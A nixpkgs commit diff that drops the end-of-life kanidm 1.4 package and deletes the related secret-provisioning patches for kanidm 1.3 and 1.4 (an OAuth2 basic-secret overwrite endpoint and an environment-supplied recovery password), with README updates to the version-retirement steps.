(cherry picked from commit 491f0239ab34db617bce8600b20f8aaa48885105)
---
 pkgs/by-name/ka/kanidm/1_4.nix                |   7 -
 pkgs/by-name/ka/kanidm/README.md              |  12 +-
 .../1_3/oauth2-basic-secret-modify.patch      | 303 -----------------
 .../kanidm/patches/1_3/recover-account.patch  | 174 ----------
 .../1_4/oauth2-basic-secret-modify.patch      | 308 ------------------
 .../kanidm/patches/1_4/recover-account.patch  | 174 ----------
 pkgs/top-level/aliases.nix                    |   2 +
 pkgs/top-level/all-packages.nix               |   5 -
 8 files changed, 6 insertions(+), 979 deletions(-)
 delete mode 100644 pkgs/by-name/ka/kanidm/1_4.nix
 delete mode 100644 pkgs/by-name/ka/kanidm/patches/1_3/oauth2-basic-secret-modify.patch
 delete mode 100644 pkgs/by-name/ka/kanidm/patches/1_3/recover-account.patch
 delete mode 100644 pkgs/by-name/ka/kanidm/patches/1_4/oauth2-basic-secret-modify.patch
 delete mode 100644 pkgs/by-name/ka/kanidm/patches/1_4/recover-account.patch

diff --git a/pkgs/by-name/ka/kanidm/1_4.nix b/pkgs/by-name/ka/kanidm/1_4.nix
deleted file mode 100644
index da046ce65626..000000000000
--- a/pkgs/by-name/ka/kanidm/1_4.nix
+++ /dev/null
@@ -1,7 +0,0 @@
-import ./generic.nix {
-  version = "1.4.6";
-  hash = "sha256-pjJyq52wO5p34LN2Jmt0npgWBDcWin8gIX4skZ7Ff8E=";
-  cargoHash = "sha256-33HRoH/vWPe/wOZJtQLWV9eBocbj0iR/XUu4zMehu8M=";
-  patchDir = ./patches/1_4;
-  unsupported = true;
-}
diff --git a/pkgs/by-name/ka/kanidm/README.md b/pkgs/by-name/ka/kanidm/README.md
index 30e751fe8166..c87b4dd4bca7 100644
--- a/pkgs/by-name/ka/kanidm/README.md
+++ b/pkgs/by-name/ka/kanidm/README.md
@@ -21,12 +21,7 @@ For example, when upgrading from 1.4 -> 1.5
 1. Update `all-packages.nix` to add `kanidm_1_5` and `kanidmWithSecretProvisioning_1_5`, leave default
 1. Create commit, `kanidm_1_5: init at 1.5.0` - this is the only commit that will be backported
 
-### Mark previous version deprecated
-
-1. Update `pkgs/by-name/ka/kanidm/1_4.nix` by adding `deprecated = true;`
-1. Create commit `kanidm_1_4: update default to 1.5.0, deprecate 1.4.0`
-
-### Update default and mark deprecation
+### Update default
 
 1. `sed -i 's/1_4/1_5/' pkgs/by-name/ka/kanidm/package.nix`
 1. Update `all-packages.nix` and set `kanidmWithSecretProvisioning = kanidmWithSecretProvisioning_1_5;`
@@ -41,9 +36,10 @@ For example, when upgrading from 1.4 -> 1.5
 Kanidm versions are supported for 30 days after the release of new versions. Following the example above, 1.5.x superseding 1.4.x in 30 days, do the following near the end of the 30 day window
 
 1. Update `pkgs/by-name/ka/kanidm/1_4.nix` by adding `unsupported = true;`
-1. Update `pkgs/top-level/release.nix` and add `kanidm_1_4-1.4.6` to `permittedInsecurePackages`
+1. Update `pkgs/top-level/release.nix` and add `kanidm_1_4-1.4.6` and `kanidmWithSecretProvisioning_1_4-1.4.6` to `permittedInsecurePackages`
 1. Create commit `kanidm_1_4: mark EOL`, this commit alone should be backported
 
 1. Remove the third oldest release from `all-packages.nix`, e.g. 1.3.x continuing the example. Remove `kanidm_1_3` and `kanidmWithSecretProvisioning_1_3`
-1. Update `pkgs/top-level/release.nix` and remove `kanidm_1_3-1.3.3` from `permittedInsecurePackages`
+1. Update `pkgs/top-level/release.nix` and remove `kanidm_1_3*` from `permittedInsecurePackages`
+1. Update `pkgs/top-level/aliases.nix` and add `kanidm_1_4` and `kanidmWithSecretProvisioning_1_4-1.4.6`
 1. Remove `pkgs/by-name/ka/kanidm/1_3.nix`
diff --git a/pkgs/by-name/ka/kanidm/patches/1_3/oauth2-basic-secret-modify.patch b/pkgs/by-name/ka/kanidm/patches/1_3/oauth2-basic-secret-modify.patch
deleted file mode 100644
index afff94ca51e9..000000000000
--- a/pkgs/by-name/ka/kanidm/patches/1_3/oauth2-basic-secret-modify.patch
+++ /dev/null
@@ -1,303 +0,0 @@
-From 44dfbc2b9dccce86c7d7e7b54db4c989344b8c56 Mon Sep 17 00:00:00 2001
-From: oddlama <oddlama@oddlama.org>
-Date: Mon, 12 Aug 2024 23:17:25 +0200
-Subject: [PATCH 1/2] oauth2 basic secret modify
-
----
- server/core/src/actors/v1_write.rs | 42 ++++++++++++++++++++++++++++++
- server/core/src/https/v1.rs        |  6 ++++-
- server/core/src/https/v1_oauth2.rs | 29 +++++++++++++++++++++
- server/lib/src/constants/acp.rs    |  6 +++++
- 4 files changed, 82 insertions(+), 1 deletion(-)
-
-diff --git a/server/core/src/actors/v1_write.rs b/server/core/src/actors/v1_write.rs
-index e00a969fb..1cacc67b8 100644
---- a/server/core/src/actors/v1_write.rs
-+++ b/server/core/src/actors/v1_write.rs
-@@ -315,20 +315,62 @@ impl QueryServerWriteV1 {
-         };
- 
-         trace!(?del, "Begin delete event");
- 
-         idms_prox_write
-             .qs_write
-             .delete(&del)
-             .and_then(|_| idms_prox_write.commit().map(|_| ()))
-     }
- 
-+    #[instrument(
-+        level = "info",
-+        skip_all,
-+        fields(uuid = ?eventid)
-+    )]
-+    pub async fn handle_oauth2_basic_secret_write(
-+        &self,
-+        client_auth_info: ClientAuthInfo,
-+        filter: Filter<FilterInvalid>,
-+        new_secret: String,
-+        eventid: Uuid,
-+    ) -> Result<(), OperationError> {
-+        // Given a protoEntry, turn this into a modification set.
-+        let ct = duration_from_epoch_now();
-+        let mut idms_prox_write = self.idms.proxy_write(ct).await;
-+        let ident = idms_prox_write
-+            .validate_client_auth_info_to_ident(client_auth_info, ct)
-+            .map_err(|e| {
-+                admin_error!(err = ?e, "Invalid identity");
-+                e
-+            })?;
-+
-+        let modlist = ModifyList::new_purge_and_set(
-+            Attribute::OAuth2RsBasicSecret,
-+            Value::SecretValue(new_secret),
-+        );
-+
-+        let mdf =
-+            ModifyEvent::from_internal_parts(ident, &modlist, &filter, &idms_prox_write.qs_write)
-+                .map_err(|e| {
-+                admin_error!(err = ?e, "Failed to begin modify during handle_oauth2_basic_secret_write");
-+                e
-+            })?;
-+
-+        trace!(?mdf, "Begin modify event");
-+
-+        idms_prox_write
-+            .qs_write
-+            .modify(&mdf)
-+            .and_then(|_| idms_prox_write.commit())
-+    }
-+
-     #[instrument(
-         level = "info",
-         skip_all,
-         fields(uuid = ?eventid)
-     )]
-     pub async fn handle_reviverecycled(
-         &self,
-         client_auth_info: ClientAuthInfo,
-         filter: Filter<FilterInvalid>,
-         eventid: Uuid,
-diff --git a/server/core/src/https/v1.rs b/server/core/src/https/v1.rs
-index 8aba83bb2..f1f815026 100644
---- a/server/core/src/https/v1.rs
-+++ b/server/core/src/https/v1.rs
-@@ -1,17 +1,17 @@
- //! The V1 API things!
- 
- use axum::extract::{Path, State};
- use axum::http::{HeaderMap, HeaderValue};
- use axum::middleware::from_fn;
- use axum::response::{IntoResponse, Response};
--use axum::routing::{delete, get, post, put};
-+use axum::routing::{delete, get, post, put, patch};
- use axum::{Extension, Json, Router};
- use axum_extra::extract::cookie::{Cookie, CookieJar, SameSite};
- use compact_jwt::{Jwk, Jws, JwsSigner};
- use kanidm_proto::constants::uri::V1_AUTH_VALID;
- use std::net::IpAddr;
- use uuid::Uuid;
- 
- use kanidm_proto::internal::{
-     ApiToken, AppLink, CUIntentToken, CURequest, CUSessionToken, CUStatus, CreateRequest,
-     CredentialStatus, DeleteRequest, IdentifyUserRequest, IdentifyUserResponse, ModifyRequest,
-@@ -3119,20 +3119,24 @@ pub(crate) fn route_setup(state: ServerState) -> Router<ServerState> {
-         )
-         .route(
-             "/v1/oauth2/:rs_name/_image",
-             post(super::v1_oauth2::oauth2_id_image_post)
-                 .delete(super::v1_oauth2::oauth2_id_image_delete),
-         )
-         .route(
-             "/v1/oauth2/:rs_name/_basic_secret",
-             get(super::v1_oauth2::oauth2_id_get_basic_secret),
-         )
-+        .route(
-+            "/v1/oauth2/:rs_name/_basic_secret",
-+            patch(super::v1_oauth2::oauth2_id_patch_basic_secret),
-+        )
-         .route(
-             "/v1/oauth2/:rs_name/_scopemap/:group",
-             post(super::v1_oauth2::oauth2_id_scopemap_post)
-                 .delete(super::v1_oauth2::oauth2_id_scopemap_delete),
-         )
-         .route(
-             "/v1/oauth2/:rs_name/_sup_scopemap/:group",
-             post(super::v1_oauth2::oauth2_id_sup_scopemap_post)
-                 .delete(super::v1_oauth2::oauth2_id_sup_scopemap_delete),
-         )
-diff --git a/server/core/src/https/v1_oauth2.rs b/server/core/src/https/v1_oauth2.rs
-index 5e481afab..a771aed04 100644
---- a/server/core/src/https/v1_oauth2.rs
-+++ b/server/core/src/https/v1_oauth2.rs
-@@ -144,20 +144,49 @@ pub(crate) async fn oauth2_id_get_basic_secret(
- ) -> Result<Json<Option<String>>, WebError> {
-     let filter = oauth2_id(&rs_name);
-     state
-         .qe_r_ref
-         .handle_oauth2_basic_secret_read(client_auth_info, filter, kopid.eventid)
-         .await
-         .map(Json::from)
-         .map_err(WebError::from)
- }
- 
-+#[utoipa::path(
-+    patch,
-+    path = "/v1/oauth2/{rs_name}/_basic_secret",
-+    request_body=ProtoEntry,
-+    responses(
-+        DefaultApiResponse,
-+    ),
-+    security(("token_jwt" = [])),
-+    tag = "v1/oauth2",
-+    operation_id = "oauth2_id_patch_basic_secret"
-+)]
-+/// Overwrite the basic secret for a given OAuth2 Resource Server.
-+#[instrument(level = "info", skip(state, new_secret))]
-+pub(crate) async fn oauth2_id_patch_basic_secret(
-+    State(state): State<ServerState>,
-+    Extension(kopid): Extension<KOpId>,
-+    VerifiedClientInformation(client_auth_info): VerifiedClientInformation,
-+    Path(rs_name): Path<String>,
-+    Json(new_secret): Json<String>,
-+) -> Result<Json<()>, WebError> {
-+    let filter = oauth2_id(&rs_name);
-+    state
-+        .qe_w_ref
-+        .handle_oauth2_basic_secret_write(client_auth_info, filter, new_secret, kopid.eventid)
-+        .await
-+        .map(Json::from)
-+        .map_err(WebError::from)
-+}
-+
- #[utoipa::path(
-     patch,
-     path = "/v1/oauth2/{rs_name}",
-     request_body=ProtoEntry,
-     responses(
-         DefaultApiResponse,
-     ),
-     security(("token_jwt" = [])),
-     tag = "v1/oauth2",
-     operation_id = "oauth2_id_patch"
-diff --git a/server/lib/src/constants/acp.rs b/server/lib/src/constants/acp.rs
-index f3409649d..42e407b7d 100644
---- a/server/lib/src/constants/acp.rs
-+++ b/server/lib/src/constants/acp.rs
-@@ -645,34 +645,36 @@ lazy_static! {
-             Attribute::Image,
-         ],
-         modify_present_attrs: vec![
-             Attribute::Description,
-             Attribute::DisplayName,
-             Attribute::OAuth2RsName,
-             Attribute::OAuth2RsOrigin,
-             Attribute::OAuth2RsOriginLanding,
-             Attribute::OAuth2RsSupScopeMap,
-             Attribute::OAuth2RsScopeMap,
-+            Attribute::OAuth2RsBasicSecret,
-             Attribute::OAuth2AllowInsecureClientDisablePkce,
-             Attribute::OAuth2JwtLegacyCryptoEnable,
-             Attribute::OAuth2PreferShortUsername,
-             Attribute::Image,
-         ],
-         create_attrs: vec![
-             Attribute::Class,
-             Attribute::Description,
-             Attribute::DisplayName,
-             Attribute::OAuth2RsName,
-             Attribute::OAuth2RsOrigin,
-             Attribute::OAuth2RsOriginLanding,
-             Attribute::OAuth2RsSupScopeMap,
-             Attribute::OAuth2RsScopeMap,
-+            Attribute::OAuth2RsBasicSecret,
-             Attribute::OAuth2AllowInsecureClientDisablePkce,
-             Attribute::OAuth2JwtLegacyCryptoEnable,
-             Attribute::OAuth2PreferShortUsername,
-             Attribute::Image,
-         ],
-         create_classes: vec![
-             EntryClass::Object,
-             EntryClass::OAuth2ResourceServer,
-             EntryClass::OAuth2ResourceServerBasic,
-             EntryClass::OAuth2ResourceServerPublic,
-@@ -739,36 +741,38 @@ lazy_static! {
-             Attribute::Image,
-         ],
-         modify_present_attrs: vec![
-             Attribute::Description,
-             Attribute::DisplayName,
-             Attribute::OAuth2RsName,
-             Attribute::OAuth2RsOrigin,
-             Attribute::OAuth2RsOriginLanding,
-             Attribute::OAuth2RsSupScopeMap,
-             Attribute::OAuth2RsScopeMap,
-+            Attribute::OAuth2RsBasicSecret,
-             Attribute::OAuth2AllowInsecureClientDisablePkce,
-             Attribute::OAuth2JwtLegacyCryptoEnable,
-             Attribute::OAuth2PreferShortUsername,
-             Attribute::OAuth2AllowLocalhostRedirect,
-             Attribute::OAuth2RsClaimMap,
-             Attribute::Image,
-         ],
-         create_attrs: vec![
-             Attribute::Class,
-             Attribute::Description,
-             Attribute::DisplayName,
-             Attribute::OAuth2RsName,
-             Attribute::OAuth2RsOrigin,
-             Attribute::OAuth2RsOriginLanding,
-             Attribute::OAuth2RsSupScopeMap,
-             Attribute::OAuth2RsScopeMap,
-+            Attribute::OAuth2RsBasicSecret,
-             Attribute::OAuth2AllowInsecureClientDisablePkce,
-             Attribute::OAuth2JwtLegacyCryptoEnable,
-             Attribute::OAuth2PreferShortUsername,
-             Attribute::OAuth2AllowLocalhostRedirect,
-             Attribute::OAuth2RsClaimMap,
-             Attribute::Image,
-         ],
-         create_classes: vec![
-             EntryClass::Object,
-             EntryClass::OAuth2ResourceServer,
-@@ -840,36 +844,38 @@ lazy_static! {
-             Attribute::Image,
-         ],
-         modify_present_attrs: vec![
-             Attribute::Description,
-             Attribute::DisplayName,
-             Attribute::Name,
-             Attribute::OAuth2RsOrigin,
-             Attribute::OAuth2RsOriginLanding,
-             Attribute::OAuth2RsSupScopeMap,
-             Attribute::OAuth2RsScopeMap,
-+            Attribute::OAuth2RsBasicSecret,
-             Attribute::OAuth2AllowInsecureClientDisablePkce,
-             Attribute::OAuth2JwtLegacyCryptoEnable,
-             Attribute::OAuth2PreferShortUsername,
-             Attribute::OAuth2AllowLocalhostRedirect,
-             Attribute::OAuth2RsClaimMap,
-             Attribute::Image,
-         ],
-         create_attrs: vec![
-             Attribute::Class,
-             Attribute::Description,
-             Attribute::Name,
-             Attribute::OAuth2RsName,
-             Attribute::OAuth2RsOrigin,
-             Attribute::OAuth2RsOriginLanding,
-             Attribute::OAuth2RsSupScopeMap,
-             Attribute::OAuth2RsScopeMap,
-+            Attribute::OAuth2RsBasicSecret,
-             Attribute::OAuth2AllowInsecureClientDisablePkce,
-             Attribute::OAuth2JwtLegacyCryptoEnable,
-             Attribute::OAuth2PreferShortUsername,
-             Attribute::OAuth2AllowLocalhostRedirect,
-             Attribute::OAuth2RsClaimMap,
-             Attribute::Image,
-         ],
-         create_classes: vec![
-             EntryClass::Object,
-             EntryClass::Account,
--- 
-2.45.2
-
diff --git a/pkgs/by-name/ka/kanidm/patches/1_3/recover-account.patch b/pkgs/by-name/ka/kanidm/patches/1_3/recover-account.patch
deleted file mode 100644
index 5f676bdbc103..000000000000
--- a/pkgs/by-name/ka/kanidm/patches/1_3/recover-account.patch
+++ /dev/null
@@ -1,174 +0,0 @@
-From cc8269489b56755714f07eee4671f8aa2659c014 Mon Sep 17 00:00:00 2001
-From: oddlama <oddlama@oddlama.org>
-Date: Mon, 12 Aug 2024 23:17:42 +0200
-Subject: [PATCH 2/2] recover account
-
----
- server/core/src/actors/internal.rs |  3 ++-
- server/core/src/admin.rs           |  6 +++---
- server/daemon/src/main.rs          | 14 +++++++++++++-
- server/daemon/src/opt.rs           |  4 ++++
- 4 files changed, 22 insertions(+), 5 deletions(-)
-
-diff --git a/server/core/src/actors/internal.rs b/server/core/src/actors/internal.rs
-index 40c18777f..40d553b40 100644
---- a/server/core/src/actors/internal.rs
-+++ b/server/core/src/actors/internal.rs
-@@ -153,25 +153,26 @@ impl QueryServerWriteV1 {
-     }
- 
-     #[instrument(
-         level = "info",
--        skip(self, eventid),
-+        skip(self, password, eventid),
-         fields(uuid = ?eventid)
-     )]
-     pub(crate) async fn handle_admin_recover_account(
-         &self,
-         name: String,
-+        password: Option<String>,
-         eventid: Uuid,
-     ) -> Result<String, OperationError> {
-         let ct = duration_from_epoch_now();
-         let mut idms_prox_write = self.idms.proxy_write(ct).await;
--        let pw = idms_prox_write.recover_account(name.as_str(), None)?;
-+        let pw = idms_prox_write.recover_account(name.as_str(), password.as_deref())?;
- 
-         idms_prox_write.commit().map(|()| pw)
-     }
- 
-     #[instrument(
-         level = "info",
-         skip_all,
-         fields(uuid = ?eventid)
-     )]
-     pub(crate) async fn handle_domain_raise(&self, eventid: Uuid) -> Result<u32, OperationError> {
-diff --git a/server/core/src/admin.rs b/server/core/src/admin.rs
-index 90ccb1927..85e31ddef 100644
---- a/server/core/src/admin.rs
-+++ b/server/core/src/admin.rs
-@@ -17,21 +17,21 @@ use tokio_util::codec::{Decoder, Encoder, Framed};
- use tracing::{span, Instrument, Level};
- use uuid::Uuid;
- 
- pub use kanidm_proto::internal::{
-     DomainInfo as ProtoDomainInfo, DomainUpgradeCheckReport as ProtoDomainUpgradeCheckReport,
-     DomainUpgradeCheckStatus as ProtoDomainUpgradeCheckStatus,
- };
- 
- #[derive(Serialize, Deserialize, Debug)]
- pub enum AdminTaskRequest {
--    RecoverAccount { name: String },
-+    RecoverAccount { name: String, password: Option<String> },
-     ShowReplicationCertificate,
-     RenewReplicationCertificate,
-     RefreshReplicationConsumer,
-     DomainShow,
-     DomainUpgradeCheck,
-     DomainRaise,
-     DomainRemigrate { level: Option<u32> },
- }
- 
- #[derive(Serialize, Deserialize, Debug)]
-@@ -302,22 +302,22 @@ async fn handle_client(
-     let mut reqs = Framed::new(sock, ServerCodec);
- 
-     trace!("Waiting for requests ...");
-     while let Some(Ok(req)) = reqs.next().await {
-         // Setup the logging span
-         let eventid = Uuid::new_v4();
-         let nspan = span!(Level::INFO, "handle_admin_client_request", uuid = ?eventid);
- 
-         let resp = async {
-             match req {
--                AdminTaskRequest::RecoverAccount { name } => {
--                    match server_rw.handle_admin_recover_account(name, eventid).await {
-+                AdminTaskRequest::RecoverAccount { name, password } => {
-+                    match server_rw.handle_admin_recover_account(name, password, eventid).await {
-                         Ok(password) => AdminTaskResponse::RecoverAccount { password },
-                         Err(e) => {
-                             error!(err = ?e, "error during recover-account");
-                             AdminTaskResponse::Error
-                         }
-                     }
-                 }
-                 AdminTaskRequest::ShowReplicationCertificate => match repl_ctrl_tx.as_mut() {
-                     Some(ctrl_tx) => show_replication_certificate(ctrl_tx).await,
-                     None => {
-diff --git a/server/daemon/src/main.rs b/server/daemon/src/main.rs
-index 577995615..a967928c9 100644
---- a/server/daemon/src/main.rs
-+++ b/server/daemon/src/main.rs
-@@ -894,27 +894,39 @@ async fn kanidm_main(
-             } else {
-                 let output_mode: ConsoleOutputMode = commonopts.output_mode.to_owned().into();
-                 submit_admin_req(
-                     config.adminbindpath.as_str(),
-                     AdminTaskRequest::RefreshReplicationConsumer,
-                     output_mode,
-                 )
-                 .await;
-             }
-         }
--        KanidmdOpt::RecoverAccount { name, commonopts } => {
-+        KanidmdOpt::RecoverAccount { name, from_environment, commonopts } => {
-             info!("Running account recovery ...");
-             let output_mode: ConsoleOutputMode = commonopts.output_mode.to_owned().into();
-+            let password = if *from_environment {
-+                match std::env::var("KANIDM_RECOVER_ACCOUNT_PASSWORD") {
-+                    Ok(val) => Some(val),
-+                    _ => {
-+                        error!("Environment variable KANIDM_RECOVER_ACCOUNT_PASSWORD not set");
-+                        return ExitCode::FAILURE;
-+                    }
-+                }
-+            } else {
-+                None
-+            };
-             submit_admin_req(
-                 config.adminbindpath.as_str(),
-                 AdminTaskRequest::RecoverAccount {
-                     name: name.to_owned(),
-+                    password,
-                 },
-                 output_mode,
-             )
-             .await;
-         }
-         KanidmdOpt::Database {
-             commands: DbCommands::Reindex(_copt),
-         } => {
-             info!("Running in reindex mode ...");
-             reindex_server_core(&config).await;
-diff --git a/server/daemon/src/opt.rs b/server/daemon/src/opt.rs
-index f1b45a5b3..9c013e32e 100644
---- a/server/daemon/src/opt.rs
-+++ b/server/daemon/src/opt.rs
-@@ -229,20 +229,24 @@ enum KanidmdOpt {
-     /// Create a self-signed ca and tls certificate in the locations listed from the
-     /// configuration. These certificates should *not* be used in production, they
-     /// are for testing and evaluation only!
-     CertGenerate(CommonOpt),
-     #[clap(name = "recover-account")]
-     /// Recover an account's password
-     RecoverAccount {
-         #[clap(value_parser)]
-         /// The account name to recover credentials for.
-         name: String,
-+        /// Use the password given in the environment variable
-+        /// `KANIDM_RECOVER_ACCOUNT_PASSWORD` instead of generating one.
-+        #[clap(long = "from-environment")]
-+        from_environment: bool,
-         #[clap(flatten)]
-         commonopts: CommonOpt,
-     },
-     /// Display this server's replication certificate
-     ShowReplicationCertificate {
-         #[clap(flatten)]
-         commonopts: CommonOpt,
-     },
-     /// Renew this server's replication certificate
-     RenewReplicationCertificate {
--- 
-2.45.2
-
diff --git a/pkgs/by-name/ka/kanidm/patches/1_4/oauth2-basic-secret-modify.patch b/pkgs/by-name/ka/kanidm/patches/1_4/oauth2-basic-secret-modify.patch
deleted file mode 100644
index 80bd4c16bd9b..000000000000
--- a/pkgs/by-name/ka/kanidm/patches/1_4/oauth2-basic-secret-modify.patch
+++ /dev/null
@@ -1,308 +0,0 @@
-From e9dfca73e6fb80faf6fc106e7aee6b93c0908525 Mon Sep 17 00:00:00 2001
-From: oddlama <oddlama@oddlama.org>
-Date: Fri, 1 Nov 2024 12:26:17 +0100
-Subject: [PATCH 1/2] oauth2 basic secret modify
-
----
- server/core/src/actors/v1_write.rs | 42 ++++++++++++++++++++++++++++++
- server/core/src/https/v1.rs        |  6 ++++-
- server/core/src/https/v1_oauth2.rs | 29 +++++++++++++++++++++
- server/lib/src/constants/acp.rs    |  6 +++++
- 4 files changed, 82 insertions(+), 1 deletion(-)
-
-diff --git a/server/core/src/actors/v1_write.rs b/server/core/src/actors/v1_write.rs
-index 732e826c8..0fe66503f 100644
---- a/server/core/src/actors/v1_write.rs
-+++ b/server/core/src/actors/v1_write.rs
-@@ -317,20 +317,62 @@ impl QueryServerWriteV1 {
-         };
- 
-         trace!(?del, "Begin delete event");
- 
-         idms_prox_write
-             .qs_write
-             .delete(&del)
-             .and_then(|_| idms_prox_write.commit().map(|_| ()))
-     }
- 
-+    #[instrument(
-+        level = "info",
-+        skip_all,
-+        fields(uuid = ?eventid)
-+    )]
-+    pub async fn handle_oauth2_basic_secret_write(
-+        &self,
-+        client_auth_info: ClientAuthInfo,
-+        filter: Filter<FilterInvalid>,
-+        new_secret: String,
-+        eventid: Uuid,
-+    ) -> Result<(), OperationError> {
-+        // Given a protoEntry, turn this into a modification set.
-+        let ct = duration_from_epoch_now();
-+        let mut idms_prox_write = self.idms.proxy_write(ct).await?;
-+        let ident = idms_prox_write
-+            .validate_client_auth_info_to_ident(client_auth_info, ct)
-+            .map_err(|e| {
-+                admin_error!(err = ?e, "Invalid identity");
-+                e
-+            })?;
-+
-+        let modlist = ModifyList::new_purge_and_set(
-+            Attribute::OAuth2RsBasicSecret,
-+            Value::SecretValue(new_secret),
-+        );
-+
-+        let mdf =
-+            ModifyEvent::from_internal_parts(ident, &modlist, &filter, &idms_prox_write.qs_write)
-+                .map_err(|e| {
-+                admin_error!(err = ?e, "Failed to begin modify during handle_oauth2_basic_secret_write");
-+                e
-+            })?;
-+
-+        trace!(?mdf, "Begin modify event");
-+
-+        idms_prox_write
-+            .qs_write
-+            .modify(&mdf)
-+            .and_then(|_| idms_prox_write.commit())
-+    }
-+
-     #[instrument(
-         level = "info",
-         skip_all,
-         fields(uuid = ?eventid)
-     )]
-     pub async fn handle_reviverecycled(
-         &self,
-         client_auth_info: ClientAuthInfo,
-         filter: Filter<FilterInvalid>,
-         eventid: Uuid,
-diff --git a/server/core/src/https/v1.rs b/server/core/src/https/v1.rs
-index c410a4b5d..cc67cac6c 100644
---- a/server/core/src/https/v1.rs
-+++ b/server/core/src/https/v1.rs
-@@ -1,17 +1,17 @@
- //! The V1 API things!
- 
- use axum::extract::{Path, State};
- use axum::http::{HeaderMap, HeaderValue};
- use axum::middleware::from_fn;
- use axum::response::{IntoResponse, Response};
--use axum::routing::{delete, get, post, put};
-+use axum::routing::{delete, get, post, put, patch};
- use axum::{Extension, Json, Router};
- use axum_extra::extract::cookie::{Cookie, CookieJar, SameSite};
- use compact_jwt::{Jwk, Jws, JwsSigner};
- use kanidm_proto::constants::uri::V1_AUTH_VALID;
- use std::net::IpAddr;
- use uuid::Uuid;
- 
- use kanidm_proto::internal::{
-     ApiToken, AppLink, CUIntentToken, CURequest, CUSessionToken, CUStatus, CreateRequest,
-     CredentialStatus, DeleteRequest, IdentifyUserRequest, IdentifyUserResponse, ModifyRequest,
-@@ -3120,20 +3120,24 @@ pub(crate) fn route_setup(state: ServerState) -> Router<ServerState> {
-         )
-         .route(
-             "/v1/oauth2/:rs_name/_image",
-             post(super::v1_oauth2::oauth2_id_image_post)
-                 .delete(super::v1_oauth2::oauth2_id_image_delete),
-         )
-         .route(
-             "/v1/oauth2/:rs_name/_basic_secret",
-             get(super::v1_oauth2::oauth2_id_get_basic_secret),
-         )
-+        .route(
-+            "/v1/oauth2/:rs_name/_basic_secret",
-+            patch(super::v1_oauth2::oauth2_id_patch_basic_secret),
-+        )
-         .route(
-             "/v1/oauth2/:rs_name/_scopemap/:group",
-             post(super::v1_oauth2::oauth2_id_scopemap_post)
-                 .delete(super::v1_oauth2::oauth2_id_scopemap_delete),
-         )
-         .route(
-             "/v1/oauth2/:rs_name/_sup_scopemap/:group",
-             post(super::v1_oauth2::oauth2_id_sup_scopemap_post)
-                 .delete(super::v1_oauth2::oauth2_id_sup_scopemap_delete),
-         )
-diff --git a/server/core/src/https/v1_oauth2.rs b/server/core/src/https/v1_oauth2.rs
-index d3966a7ad..f89c02c69 100644
---- a/server/core/src/https/v1_oauth2.rs
-+++ b/server/core/src/https/v1_oauth2.rs
-@@ -144,20 +144,49 @@ pub(crate) async fn oauth2_id_get_basic_secret(
- ) -> Result<Json<Option<String>>, WebError> {
-     let filter = oauth2_id(&rs_name);
-     state
-         .qe_r_ref
-         .handle_oauth2_basic_secret_read(client_auth_info, filter, kopid.eventid)
-         .await
-         .map(Json::from)
-         .map_err(WebError::from)
- }
- 
-+#[utoipa::path(
-+    patch,
-+    path = "/v1/oauth2/{rs_name}/_basic_secret",
-+    request_body=ProtoEntry,
-+    responses(
-+        DefaultApiResponse,
-+    ),
-+    security(("token_jwt" = [])),
-+    tag = "v1/oauth2",
-+    operation_id = "oauth2_id_patch_basic_secret"
-+)]
-+/// Overwrite the basic secret for a given OAuth2 Resource Server.
-+#[instrument(level = "info", skip(state, new_secret))]
-+pub(crate) async fn oauth2_id_patch_basic_secret(
-+    State(state): State<ServerState>,
-+    Extension(kopid): Extension<KOpId>,
-+    VerifiedClientInformation(client_auth_info): VerifiedClientInformation,
-+    Path(rs_name): Path<String>,
-+    Json(new_secret): Json<String>,
-+) -> Result<Json<()>, WebError> {
-+    let filter = oauth2_id(&rs_name);
-+    state
-+        .qe_w_ref
-+        .handle_oauth2_basic_secret_write(client_auth_info, filter, new_secret, kopid.eventid)
-+        .await
-+        .map(Json::from)
-+        .map_err(WebError::from)
-+}
-+
- #[utoipa::path(
-     patch,
-     path = "/v1/oauth2/{rs_name}",
-     request_body=ProtoEntry,
-     responses(
-         DefaultApiResponse,
-     ),
-     security(("token_jwt" = [])),
-     tag = "v1/oauth2",
-     operation_id = "oauth2_id_patch"
-diff --git a/server/lib/src/constants/acp.rs b/server/lib/src/constants/acp.rs
-index be1836345..ebf4445be 100644
---- a/server/lib/src/constants/acp.rs
-+++ b/server/lib/src/constants/acp.rs
-@@ -658,36 +658,38 @@ lazy_static! {
-             Attribute::Image,
-         ],
-         modify_present_attrs: vec![
-             Attribute::Description,
-             Attribute::DisplayName,
-             Attribute::OAuth2RsName,
-             Attribute::OAuth2RsOrigin,
-             Attribute::OAuth2RsOriginLanding,
-             Attribute::OAuth2RsSupScopeMap,
-             Attribute::OAuth2RsScopeMap,
-+            Attribute::OAuth2RsBasicSecret,
-             Attribute::OAuth2AllowInsecureClientDisablePkce,
-             Attribute::OAuth2JwtLegacyCryptoEnable,
-             Attribute::OAuth2PreferShortUsername,
-             Attribute::OAuth2AllowLocalhostRedirect,
-             Attribute::OAuth2RsClaimMap,
-             Attribute::Image,
-         ],
-         create_attrs: vec![
-             Attribute::Class,
-             Attribute::Description,
-             Attribute::DisplayName,
-             Attribute::OAuth2RsName,
-             Attribute::OAuth2RsOrigin,
-             Attribute::OAuth2RsOriginLanding,
-             Attribute::OAuth2RsSupScopeMap,
-             Attribute::OAuth2RsScopeMap,
-+            Attribute::OAuth2RsBasicSecret,
-             Attribute::OAuth2AllowInsecureClientDisablePkce,
-             Attribute::OAuth2JwtLegacyCryptoEnable,
-             Attribute::OAuth2PreferShortUsername,
-             Attribute::OAuth2AllowLocalhostRedirect,
-             Attribute::OAuth2RsClaimMap,
-             Attribute::Image,
-         ],
-         create_classes: vec![
-             EntryClass::Object,
-             EntryClass::OAuth2ResourceServer,
-@@ -759,37 +761,39 @@ lazy_static! {
-             Attribute::Image,
-         ],
-         modify_present_attrs: vec![
-             Attribute::Description,
-             Attribute::DisplayName,
-             Attribute::Name,
-             Attribute::OAuth2RsOrigin,
-             Attribute::OAuth2RsOriginLanding,
-             Attribute::OAuth2RsSupScopeMap,
-             Attribute::OAuth2RsScopeMap,
-+            Attribute::OAuth2RsBasicSecret,
-             Attribute::OAuth2AllowInsecureClientDisablePkce,
-             Attribute::OAuth2JwtLegacyCryptoEnable,
-             Attribute::OAuth2PreferShortUsername,
-             Attribute::OAuth2AllowLocalhostRedirect,
-             Attribute::OAuth2RsClaimMap,
-             Attribute::Image,
-         ],
-         create_attrs: vec![
-             Attribute::Class,
-             Attribute::Description,
-             Attribute::Name,
-             Attribute::DisplayName,
-             Attribute::OAuth2RsName,
